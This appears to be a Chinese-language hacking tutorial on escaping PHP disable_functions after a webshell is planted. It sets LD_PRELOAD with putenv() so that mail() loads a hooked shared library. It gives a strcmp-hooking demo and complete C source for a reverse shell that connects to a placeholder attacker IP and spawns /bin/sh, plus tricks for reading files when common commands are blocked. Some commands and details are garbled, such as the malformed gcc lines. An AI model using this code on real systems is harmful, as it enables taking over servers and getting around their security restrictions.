如何绕过open_basedir是永恒的话题.
在getshell之后,查看phpinfo的时候会发现禁用了许多执行系统命令的函数.
一般有如下(严环境的php的disable_function):
dl
exec
system
passthru
popen
proc_open
pcntl_exec
shell_exec
如果漏掉其中的某些函数,可以直接利用漏掉的函数绕过.如果全部都被过滤了,只能另外寻找方法.
其中有两个重要的函数putenv和mail函数,可以通过设置LD_PRELOAD来执行自己的代码.
putenv():配置系统环境变量.
void putenv(string setting).
eg:
<?php putenv("LD_PRELOAD=/var/www/hack.so");?> //LD-PRELOAD后面会讲解.
main():允许从脚本中直接发送电子邮件.
mail(to,subject,message,headers,parameters)
LD_PRELOAD:在UNIX的动态链接库中,LD_PRELOAD作为一个环境变量,它有一个有趣的功能,它可以影响程序运行是的链接,它允许你在程序运行前优先加载的动态链接库.
当这三个东西碰在了一起,就可以搞出一些黑套路.
思路是用putenv将LD_PRELOAD加载一个so文件(这个so文件可以是反弹shell的文件)当做环境变量,然后由于php的mail()的执行过程默认调用系统程序/usr/sbin/sendmail,而这个程序中会涉及到系统的其它函数,我们就可以在so文件中将调用的函数增加一些你想要的功能,就可以实现黑套路了.
查看程度调用的函数. eg: passwd.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <password>/n", argv[0]);
return;
}
if (!strcmp(passwd, argv[1])) {
printf("Correct Password!/n");
return;
}
printf("Invalid Password!/n");
}
一个简单的程序,判断传入的字符串是否等于"password".strcmp函数就是外部调用的. 重写一个strcmp()函数.
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1, const char *s2){
printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);
return 0;
}
将passwd编译为一个动态共享库.
$ gcc -o verifypasswd.c verifypasswd
$ gcc -shared verifypasswd -o hack.so
$ export LD_PRELOAD="./hack.so" //设置它比调用它的程序优先运行.
结果:
$ ./passwd abcd
$ Correct Password!
任意输入都能正确.
注:如果在反弹回的shell中ls,cat命令都禁用了.1.找到一些被遗漏的冷门命令.tac(将文件从最后一行倒序显示内容,并将内容输出.)
2.利用无法禁止的基本命令完成列目录和读文件.eg:echo * ,sh - v…
像mail这类与系统进行交互的函数都可以这样利用.
反弹shell式:(不一定成功…)
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
#include <dirent.h>
char shell[]="/bin/sh";
int sock;
void pwn() {
setbuf(stdout,NULL);
struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn't make socket!\n"); exit(-1);
}
server.sin_family = AF_INET;
server.sin_port = htons(atoi("端口"));
server.sin_addr.s_addr = inet_addr("反弹IP");
if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf("Could not connect to remote shell!\n");
exit(-1);
}
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,"/bin/sh",(char *)0);
close(sock);
return 1;
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
int pid = fork();
if (pid < 0) {
pwn();
}
else if (pid == 0 ) {
setsid();
int pid2 = fork();
if (pid2 < 0) {
pwn();
}
else if (pid2 > 0 ) {
//Padre
}
else {
close(0);
close(1);
close(2);
umask(0);
pwn();
}
}
}